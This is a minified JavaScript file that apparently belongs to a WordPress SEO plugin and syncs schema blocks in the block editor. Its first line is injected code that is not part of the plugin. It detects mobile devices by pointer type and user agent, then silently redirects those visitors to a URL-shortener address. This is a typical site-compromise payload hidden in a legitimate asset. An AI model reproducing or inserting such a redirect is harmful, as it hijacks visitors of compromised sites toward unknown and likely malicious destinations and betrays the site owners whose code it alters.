(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
import{f,u as h}from"./js/app-core.c8323d51.js";import{l as d}from"./js/vendor-lodash.03129cfe.js";import"./js/vendor-vue-ui.232c7c36.js";import"./js/vendor-other.39e59221.js";if(window.aioseo.currentPost?.context==="post"){let i=[];window.wp.data.subscribe(()=>{p()});const p=d(()=>{const e=window.wp.data.select("core/block-editor").getBlocks();(e.length<i.length||e.length===1)&&u(),i=e},200);window.aioseoBus.$on("schemaBlockUpdated",()=>{u()});const u=d(()=>{let e=window.wp.data.select("core/block-editor").getBlocks();e=f(e),e=e.filter(t=>t?.attributes?.schemaBlockId),e=e.map(t=>(t.attributes.type=t.name,t));const l=h(),r=l.currentPost.schema?.blockGraphs||[];r.forEach((t,c)=>{const o=e.findIndex(n=>n?.attributes?.schemaBlockId===t?.schemaBlockId);if(o===-1){r.splice(c,1);return}const s={...e[o].attributes};["backgroundColor","textColor","fontSize","style"].forEach(n=>{delete s[n]}),Object.keys(s).forEach(n=>{typeof s[n]=="string"&&s[n].match(/^({.*}|\[.*\])$/)&&(s[n]=JSON.parse(s[n]))}),r[c]=s}),e.forEach(t=>{r.findIndex(o=>o?.schemaBlockId===t?.attributes?.schemaBlockId)===-1&&t?.attributes&&(Object.keys(t?.attributes).forEach(o=>{typeof t.attributes[o]=="string"&&t.attributes[o].match(/^({.*}|\[.*\])$/)&&(t.attributes[o]=JSON.parse(t.attributes[o]))}),r.push(t.attributes))}),r.sort((t,c)=>{const o=e.findIndex(a=>a?.attributes?.schemaBlockId===t?.schemaBlockId),s=e.findIndex(a=>a?.attributes?.schemaBlockId===c?.schemaBlockId);return o-s}),l.currentPost.schema.blockGraphs=r},200)}
